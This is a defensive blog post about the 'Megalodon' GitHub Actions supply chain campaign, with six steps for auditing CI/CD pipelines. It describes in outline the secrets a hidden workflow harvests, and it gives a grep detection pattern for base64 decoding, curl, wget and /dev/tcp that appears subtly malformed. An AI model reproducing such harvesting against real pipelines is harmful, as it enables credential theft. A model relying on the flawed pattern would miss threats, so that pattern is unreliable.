Audit CI/CD for Megalodon-Style Supply Chain Attacks

Audit CI/CD for Megalodon-Style Supply Chain Attacks

5,561 repositories. 5,718 malicious commits. Six hours. That’s the damage report from Megalodon, the latest automated supply chain attack to weaponize GitHub Actions workflows at industrial scale. If your team merges PRs from external contributors without deep CI/CD hygiene, you’re rolling the dice every single day.

The playbook has shifted. Attackers aren’t dropping malware in your application code — they’re injecting it into your CI/CD configuration files where it executes silently, harvests every secret in your pipeline environment, and exfiltrates them before any human ever sees the commit.

Here’s what happened, how it works, and the concrete audit steps you need to run today.

The Megalodon Attack, Deconstructed

On May 22, 2026, security researchers at SafeDep and Hudson Rock disclosed a campaign that pushed 5,718 commits to 5,561 distinct GitHub repositories in a six-hour burst. The attacker used four throwaway bot identities — build-bot, auto-ci, ci-bot, pipeline-bot — and seven commit messages mimicking routine maintenance, like “optimize build pipeline” or “update CI config.”

The payload was simple and devastating: a .github/workflows/ YAML file containing a Base64-encoded bash script. When the repository owner merged the PR (or in some variants, when any push triggered the workflow), the script executed inside the CI/CD runner and harvested:

• AWS credentials from IMDSv2, Google Cloud metadata, and Azure IMDS
• Docker and Kubernetes configuration files
• API keys, database connection strings, JWTs, and PEM private keys
• .env files, credentials.json, service-account.json
• GitHub Actions OIDC tokens, GitLab CI/CD tokens, and Bitbucket tokens
• Environment variables from /proc/*/environ and PID 1

All of it POSTed to attacker-controlled infrastructure before the pipeline even finished its first legit job.

Hudson Rock’s follow-up investigation revealed the root cause: 33% of the affected repositories — 331 out of 978 unique usernames — were directly linked to computers infected with infostealer malware. The attackers didn’t need zero-days. They bought GitHub credentials from infostealer marketplaces and automated the entire attack.

Two Payload Variants: Mass vs. Targeted

SafeDep identified two distinct approaches:

SysDiag (mass variant): Triggered on every push and pull_request event. Hits as many repos as possible, no human intervention needed. A single merged PR infects the entire workflow.

Optimize-Build (targeted variant): Uses workflow_dispatch — a manual trigger that only fires when someone explicitly runs the workflow. Less reach, but harder to detect because it never runs automatically. The Tiledesk server package was hit with this variant, targeting CI/CD runners directly rather than npm package consumers.

This mirrors the Nx Console VS Code supply chain attack documented earlier this month — attackers now understand CI/CD pipelines better than most developers do. The GitHub Actions supply chain attack with imposter commits proved the weaponization of workflow files is no longer theoretical.

Audit Your Pipeline: 6 Concrete Steps

1. Block Workflow File Changes from Unverified Accounts

The simplest defense: don’t let external contributors modify .github/workflows/. Configure branch protection rules that require workflow changes to come from maintainer accounts with MFA.

# GitHub Branch Protection — .github/settings.yml
branches:
  - name: main
    protection:
      required_pull_request_reviews:
        required_approving_review_count: 1
        dismiss_stale_reviews: true
      restrictions:
        apps: []
        users: ["maintainer1", "maintainer2"]
        teams: ["core-team"]

2. Audit All Existing Workflow Files for Suspicious Patterns

Run this scan on every repo your team owns:

# Find workflows with base64 or eval patterns
rg "base64.*-d\|eval.*curl\|wget.*\|/dev/tcp" .github/workflows/ --no-heading

Any workflow that decodes Base64 in a shell step, fetches external URLs, or opens TCP connections should be red-flagged immediately.

3. Lock Down CI/CD Secrets to Minimum Scope

Your CI/CD environment has access to production secrets. Megalodon harvested all of them. Mitigate:

• Use OIDC instead of long-lived secrets — GitHub’s OIDC provider issues short-lived tokens per workflow run. No static AWS_ACCESS_KEY_ID in your secrets.
• Scope secrets to specific workflows, not entire repos. A secret only used by the deploy workflow should not be accessible to the test workflow.
• Rotate every secret that was accessible during the last 30 days. Assume compromise if you’ve been merging external PRs without workflow file review.

4. Enable Branch Protection with Require Approvals

# Via GitHub CLI
gh api repos/:owner/:repo/branches/main/protection \
  --method PUT \
  -f required_status_checks='{"strict":true,"contexts":["ci"]}' \
  -f enforce_admins=true \
  -f required_pull_request_reviews='{"required_approving_review_count":1}'

5. Monitor for Throwaway Contributor Accounts

Megalodon’s attackers used accounts named build-bot, auto-ci, ci-bot, pipeline-bot. Build a watcher that flags PRs from accounts with:

• Created less than 30 days ago
• No prior commits to your org
• Names containing bot, ci, auto, pipeline, build

6. Run Infostealer Check on Your Team’s Credentials

Hudson Rock’s finding that 33% of compromised repos had infostealer-exposed credentials is the wake-up call. Use Have I Been Pwned’s domain search or Hudson Rock’s Cavalier API to check if your team’s credentials appear in infostealer logs. If they do, rotate immediately — your GitHub token may already be in an attacker’s hands.

The Bigger Picture

Megalodon is not a one-off. It’s the logical escalation from the TeamPCP worm that corrupted hundreds of open-source tools, the npm token invalidation event, and the CISA contractor GovCloud key leak from last week. Attackers are building assembly lines for supply chain compromise, and CI/CD pipelines are the conveyor belt.

Defending against this requires treating CI/CD configuration with the same security rigor as production infrastructure. The LiteSpeed CVE-2026-48172 root exploit showed how quickly a single vulnerable plugin becomes a fleet-wide incident — CI/CD config files are no different. Every workflow file is a potential entry point. Every external PR touching .github/workflows/ is a potential breach. Every long-lived secret in your pipeline is a potential exfiltration target.

The six steps above are your starting point. Run them today — before a ci-bot account opens a PR on your main branch.